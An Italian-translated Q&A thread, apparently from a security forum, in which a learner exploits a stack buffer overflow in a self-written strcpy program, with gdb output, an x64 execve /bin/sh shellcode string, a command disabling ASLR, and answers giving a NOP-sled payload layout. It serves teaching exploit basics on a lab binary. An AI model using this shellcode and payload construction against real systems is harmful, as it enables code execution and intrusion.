Buffer Overflow di base

1

Attualmente sto lavorando su un buffer overflow usando il mio programma per imparare le basi. Ho già eseguito con successo funzioni già presenti nel codice sovrascrivendo RIP / EIP, ma al momento l'obiettivo adesso è quello di ottenere una shell.

Per fare ciò, ho creato questo piccolo pezzo di codice sfruttabile:

#include <stdio.h>  /* printf */
#include <stdlib.h> /* EXIT_SUCCESS, EXIT_FAILURE */
#include <string.h> /* strcpy */

int main(int argc, char **argv)
{
  char  buffer[300];

  if (argc < 2)
    return EXIT_FAILURE;
  strcpy(&buffer[0], argv[1]);
  printf("Input: '%s'\n", &buffer[0]);
  return EXIT_SUCCESS;
}

La compilazione viene eseguita con la seguente riga: gcc bof.c -o bof -fno-stack-protector

Il programma si chiude normalmente finché non vengono inviati 312 byte.

  1. Perché inizia a bloccarsi a 312 byte e non a 301 byte?
  2. I 12 byte sono la dimensione dello stack?
  3. Questo numero conta davvero nel caso di un attacco?

Poi ho provato alcune cose come usare uno shellcode, ma senza successo.

gdb-peda$ r $(python -c 'print "A" * 311' + "\x48\x31\xd2\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xc0\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05\x6a\x01\x5f\x6a\x3c\x58\x0f\x05")
Starting program: /tmp/bof $(python -c 'print "A" * 311' + "\x48\x31\xd2\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xc0\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05\x6a\x01\x5f\x6a\x3c\x58\x0f\x05")
Input: 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
[Inferior 1 (process 11295) exited normally]
Warning: not running or target is remote

Da notare: lo shellcode è in realtà un bin / sh execve x64.

Sono stato bloccato su questo per giorni in questo momento e non so come risolverlo, sarei grato se qualcuno potesse aiutarmi in questo caso.

Modifica :

Ora l'ho capito un po 'meglio grazie a @DKNUCKLES & @Miles Budnek, sono stato in grado di condurre più test e ho fatto alcuni progressi. Tuttavia, dopo aver sovrascritto con successo EIP con l'indirizzo del buffer, l'arresto si è verificato all'interno dello shellcode stesso.

Il binario test vulnerabile di cui sopra è stato compilato con i seguenti flag: gcc vuln.c -o vuln -fno-stack-protector -zexecstack -m32 . Per questo, mi sono assicurato di disabilitare ASLR con il seguente comando: echo "0" > /proc/sys/kernel/randomize_va_space .

  1. Qui, scorre correttamente attraverso le istruzioni NOP fino allo shellcode, e alcuni byte dopo l'inizio del codice shell, si blocca: link
  2. Ecco, per qualche motivo ho avuto l'idea di spostare i byte NOP prima del codice shell fino alla fine e ha funzionato correttamente: link
  3. Qui, come sopra, ma senza GDB, non apre una shell: %codice%

(Ho anche provato ad aggiungere un gatto | prima della chiamata al programma vulnerabile, ma senza successo).

    
posta Ra'Jiska 06.05.2017 - 20:55
fonte

2 risposte

3

La risposta di DKNUCKLES copre il motivo per cui l'iniezione non funziona, quindi questa risposta è più su come viene distribuito lo stack del programma e perché è necessario immettere 312 byte prima di vedere un arresto anomalo.

Se osservi l'assembly generato dal tuo programma, puoi capire che lo stack è simile al punto strcpy è chiamato:

               +--------------+
      rbp + 15 |return address| 8B
       rbp + 8 |              |
               +--------------+
       rbp + 7 |    old rbp   | 8B
           rbp |              |
               +--------------+
       rbp - 1 |  alignment   | 3B
       rbp - 3 |  padding     |
               +--------------+
       rbp - 4 |              |
               |              |
               |    buffer    | 300B
               |              |
               |              |
               +-- -- -- -- --+
     rbp - 304 |  buffer[0]   |
               +--------------+
     rbp - 305 |   argc       | 4B
     rbp - 308 |              |
               +--------------+
     rbp - 309 |  alignment   | 4B
     rbp - 312 |  padding     |
               +--------------+
     rbp - 313 |   argv       | 8B
rsp, rbp - 320 |              |
               +--------------+

Da ciò, puoi vedere che ci sono 11 byte tra la fine di buffer e l'indirizzo di ritorno: un po 'di padding e il vecchio puntatore di base dello stack. Questo spiega perché non accade nulla finché il tuo input non raggiunge 312 byte. Il padding non viene mai letto da, e nulla al di sopra di main usa lo stack, quindi non importa se lo hai danneggiato. Se si scrivono 312 byte, si finisce comunque per danneggiare l'indirizzo di ritorno e questo causa l'arresto anomalo del programma.

Inoltre non stai effettivamente iniettando il tuo codice exec; lo stai solo passando e un carattere '+' letterale come argomenti separati. Questo spiega perché è necessario inserire 312 o più "A" per causare un errore.

    
risposta data 07.05.2017 - 03:50
fonte
2

Mi sembra che manchi il tuo indirizzo di ritorno e il tuo codice shell passi oltre il tuo buffer.

Mi aspetto che il tuo codice assomigli a questo:

r $(python -c 'print "\x90"*230 + "\x48\x31\xd2\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xc0\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05\x6a\x01\x5f\x6a\x3c\x58\x0f\x05" + "\x41\x41\x41\x41"*10')

Alcune note sopra riportate

  • L'utilizzo di una slitta nop (\ x90 piuttosto che \ x41) offre un po 'di flessibilità su dove si trova il codice shell nel buffer. I NOP significano essenzialmente "passare al prossimo byte", quindi continueranno a spostarsi finché non scoccerà il codice shell.
  • Non hai un indirizzo di ritorno (l'ho simulato con il 4 \ x41 alla fine del codice). Di solito ripeterò il mio "indirizzo di ritorno" 10 volte per garantire che l'indirizzo sia letto
  • Il tuo codice richiede 312 byte per raggiungere l'overflow, mentre i successivi 4 byte sovrascriveranno il tuo registro EIP. Puoi confermare che il tuo registro EIP viene sovrascritto quando si verifica l'errore di segmentazione utilizzando il comando i r o info registers dopo aver raggiunto il tuo errore.
  • Supponendo che tu stia lavorando su una scatola Intel, assicurati che il tuo indirizzo di ritorno sia scritto in formato Little Endian
risposta data 07.05.2017 - 02:07
fonte

Leggi altre domande sui tag